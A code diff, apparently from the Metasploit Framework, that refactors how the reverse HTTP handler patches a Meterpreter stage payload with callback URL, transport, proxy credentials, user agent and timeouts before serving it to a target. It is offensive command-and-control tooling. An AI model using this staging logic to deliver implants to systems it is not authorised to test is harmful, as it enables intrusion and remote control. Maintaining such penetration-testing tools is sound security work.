|
2 | 2 | require 'rex/io/stream_abstraction'
|
3 | 3 | require 'rex/sync/ref'
|
4 | 4 | require 'msf/core/handler/reverse_http/uri_checksum'
|
| 5 | +require 'rex/payloads/meterpreter/patch' |
5 | 6 |
|
6 | 7 | module Msf
|
7 | 8 | module Handler
|
@@ -223,87 +224,28 @@ def on_request(cli, req, obj)
|
223 | 224 | })
|
224 | 225 |
|
225 | 226 | when /^\/A?INITM?/
|
226 |
| - |
227 |
| - url = '' |
| 227 | + conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) |
| 228 | + url = payload_uri + conn_id + "/\x00" |
228 | 229 |
|
229 | 230 | print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
230 | 231 | resp['Content-Type'] = 'application/octet-stream'
|
231 | 232 |
|
232 | 233 | blob = obj.stage_payload
|
233 | 234 |
|
234 |
| - # Replace the user agent string with our option |
235 |
| - i = blob.index("METERPRETER_UA\x00") |
236 |
| - if i |
237 |
| - str = datastore['MeterpreterUserAgent'][0,255] + "\x00" |
238 |
| - blob[i, str.length] = str |
239 |
| - print_status("Patched user-agent at offset #{i}...") |
240 |
| - end |
241 |
| - |
242 |
| - # Activate a custom proxy |
243 |
| - i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") |
244 |
| - if i |
245 |
| - if datastore['PROXYHOST'] |
246 |
| - if datastore['PROXYHOST'].to_s != "" |
247 |
| - proxyhost = datastore['PROXYHOST'].to_s |
248 |
| - proxyport = datastore['PROXYPORT'].to_s || "8080" |
249 |
| - proxyinfo = proxyhost + ":" + proxyport |
250 |
| - if proxyport == "80" |
251 |
| - proxyinfo = proxyhost |
252 |
| - end |
253 |
| - if datastore['PROXY_TYPE'].to_s == 'HTTP' |
254 |
| - proxyinfo = 'http://' + proxyinfo |
255 |
| - else #socks |
256 |
| - proxyinfo = 'socks=' + proxyinfo |
257 |
| - end |
258 |
| - proxyinfo << "\x00" |
259 |
| - blob[i, proxyinfo.length] = proxyinfo |
260 |
| - print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...") |
261 |
| - #Optional authentification |
262 |
| - unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or |
263 |
| - (datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or |
264 |
| - datastore['PROXY_TYPE'] == 'SOCKS' |
265 |
| - |
266 |
| - proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") |
267 |
| - proxy_username = datastore['PROXY_USERNAME'] << "\x00" |
268 |
| - blob[proxy_username_loc, proxy_username.length] = proxy_username |
269 |
| - |
270 |
| - proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") |
271 |
| - proxy_password = datastore['PROXY_PASSWORD'] << "\x00" |
272 |
| - blob[proxy_password_loc, proxy_password.length] = proxy_password |
273 |
| - end |
274 |
| - end |
275 |
| - end |
276 |
| - end |
277 |
| - |
278 |
| - # Replace the transport string first (TRANSPORT_SOCKET_SSL) |
279 |
| - i = blob.index("METERPRETER_TRANSPORT_SSL") |
280 |
| - if i |
281 |
| - str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00" |
282 |
| - blob[i, str.length] = str |
283 |
| - end |
284 |
| - print_status("Patched transport at offset #{i}...") |
285 |
| - |
286 |
| - conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) |
287 |
| - i = blob.index("https://" + ("X" * 256)) |
288 |
| - if i |
289 |
| - url = payload_uri + conn_id + "/\x00" |
290 |
| - blob[i, url.length] = url |
291 |
| - end |
292 |
| - print_status("Patched URL at offset #{i}...") |
293 |
| - |
294 |
| - i = blob.index([0xb64be661].pack("V")) |
295 |
| - if i |
296 |
| - str = [ datastore['SessionExpirationTimeout'] ].pack("V") |
297 |
| - blob[i, str.length] = str |
298 |
| - end |
299 |
| - print_status("Patched Expiration Timeout at offset #{i}...") |
300 |
| - |
301 |
| - i = blob.index([0xaf79257f].pack("V")) |
302 |
| - if i |
303 |
| - str = [ datastore['SessionCommunicationTimeout'] ].pack("V") |
304 |
| - blob[i, str.length] = str |
305 |
| - end |
306 |
| - print_status("Patched Communication Timeout at offset #{i}...") |
| 235 | + # |
| 236 | + # Patch options into the payload |
| 237 | + # |
| 238 | + Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, |
| 239 | + :ssl => ssl?, |
| 240 | + :url => url, |
| 241 | + :expiration => datastore['SessionExpirationTimeout'], |
| 242 | + :comm_timeout => datastore['SessionCommunicationTimeout'], |
| 243 | + :ua => datastore['MeterpreterUserAgent'], |
| 244 | + :proxyhost => datastore['PROXYHOST'], |
| 245 | + :proxyport => datastore['PROXYPORT'], |
| 246 | + :proxy_type => datastore['PROXY_TYPE'], |
| 247 | + :proxy_username => datastore['PROXY_USERNAME'], |
| 248 | + :proxy_password => datastore['PROXY_PASSWORD'] |
307 | 249 |
|
308 | 250 | resp.body = encode_stage(blob)
|
309 | 251 |
|
|
0 commit comments